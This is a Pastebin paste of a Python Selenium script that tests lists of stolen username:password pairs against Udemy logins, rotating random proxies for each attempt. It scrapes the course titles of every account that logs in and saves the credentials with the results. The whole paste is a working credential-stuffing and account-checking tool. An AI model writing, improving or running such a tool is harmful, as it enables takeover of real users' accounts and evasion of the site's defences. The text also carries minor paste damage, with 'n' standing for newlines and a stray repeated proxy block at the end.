Guest User

Untitled

a guest
Feb 13th, 2019
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.88 KB | None | 0 0
  1. from selenium import webdriver
  2. from selenium.webdriver.common.keys import Keys
  3. from selenium.webdriver.support.ui import WebDriverWait
  4. from selenium.common.exceptions import StaleElementReferenceException
  5. from selenium.webdriver.support import expected_conditions as EC
  6. from selenium.webdriver.common.by import By
  7. from selenium.webdriver.common.proxy import *
  8. import time
  9. import random
  10.  
  11. f = open('udemy_titles', 'a', encoding='utf8')
  12. file = open("input_1.txt", 'r')
  13. login_pass_dict = dict()
  14. for x in [line.strip().split(':') for line in file]:
  15. login_pass_dict.update({x[0]: x[1]})
  16.  
  17. for login, password in login_pass_dict.items():
  18.  
  19. f.write("n" + "USERNAME: ")
  20. f.write(login + "n")
  21. f.write("PASSWORD: ")
  22. f.write(password + "n")
  23.  
  24. myProxy = random.choice(open('proxy.txt').readlines())
  25. Proxy = Proxy({
  26. 'proxyType': ProxyType.MANUAL,
  27. 'httpProxy': myProxy,
  28. 'httpsProxy': myProxy,
  29. 'ftpProxy': myProxy,
  30. 'sslProxy': myProxy,
  31. 'noProxy': ''
  32. })
  33. print(myProxy + "n")
  34.  
  35. driver= webdriver.Firefox(proxy=Proxy)
  36. driver.get('https://www.udemy.com')
  37. print("GOT URLn")
  38. time.sleep(5)
  39.  
  40. driver.find_element_by_xpath("//button[@data-purpose='header-login']").click()
  41. print("OPEN LOGIN FORMn")
  42. time.sleep(5)
  43.  
  44. webdriver.ActionChains(driver).move_by_offset(570, 295).click().send_keys(login).perform()
  45. print("PRINT MAILn")
  46. time.sleep(5)
  47.  
  48. webdriver.ActionChains(driver).move_by_offset(100, 65).click().send_keys(password).perform()
  49. print("PRINT PASSWORDn")
  50. time.sleep(5)
  51.  
  52. try:
  53. webdriver.ActionChains(driver).move_by_offset(0, 60).click().perform()
  54. print("AUTORIZATIONn")
  55. time.sleep(6)
  56.  
  57. driver.find_element_by_xpath("//a[@data-purpose='my-courses']").click()
  58. print("GO TO URLn")
  59. time.sleep(5)
  60.  
  61. def parse_pagination(driver):
  62. try:
  63.  
  64. ul_pagination = driver.find_element_by_css_selector("ul.pagination.pagination-expanded")
  65. li_pagination = ul_pagination.find_elements_by_css_selector("li")[-2]
  66. count_page = int(li_pagination.find_element_by_css_selector("a").text)
  67. urls = []
  68. for i in range(2, count_page + 1):
  69. urls.append("https://www.udemy.com/home/my-courses/learning/?p=" + str(i))
  70. time.sleep(2)
  71. return urls
  72. except:
  73. pass
  74.  
  75. def parse_list(driver):
  76. try:
  77. div_card_wrapper = WebDriverWait(driver, 10).until(
  78. EC.visibility_of_element_located((By.CSS_SELECTOR, "div.card-wrapper")))
  79. div_cards = div_card_wrapper.find_elements_by_css_selector("div.card.card--learning")
  80. for div_card in div_cards:
  81. a = div_card.find_element_by_css_selector("a.card--learning__details > div > strong")
  82. name = a.text
  83. print(name)
  84. f.write(name + "n")
  85. except:
  86. pass
  87.  
  88. try:
  89. div = driver.find_element_by_xpath("//div[@class='pager-label']").text
  90. div_1 = div.split(" ")[-2]
  91. f.write("TOTAL COURSES: " )
  92. f.write(div_1 + "n")
  93. except:
  94. pass
  95.  
  96. try:
  97. parse_list(driver)
  98. urls = parse_pagination(driver)
  99. for url in urls:
  100. driver.get(url)
  101. time.sleep(2)
  102. parse_list(driver)
  103. except:
  104. pass
  105.  
  106. driver.close()
  107. time.sleep(2)
  108. except:
  109. f.write("LOGIN OR PASSWORD IS INCORRECTLY PROVIDED" + "n")
  110. driver.close()
  111. time.sleep(1)
  112.  
  113. f.close()
  114. file.close()
  115.  
  116. Proxy = Proxy({
  117. 'proxyType': ProxyType.MANUAL,
  118. 'httpProxy': myProxy,
  119. 'httpsProxy': myProxy,
  120. 'ftpProxy': myProxy,
  121. 'sslProxy': myProxy,
  122. 'noProxy': ''
  123. })
Add Comment
Please, Sign In to add comment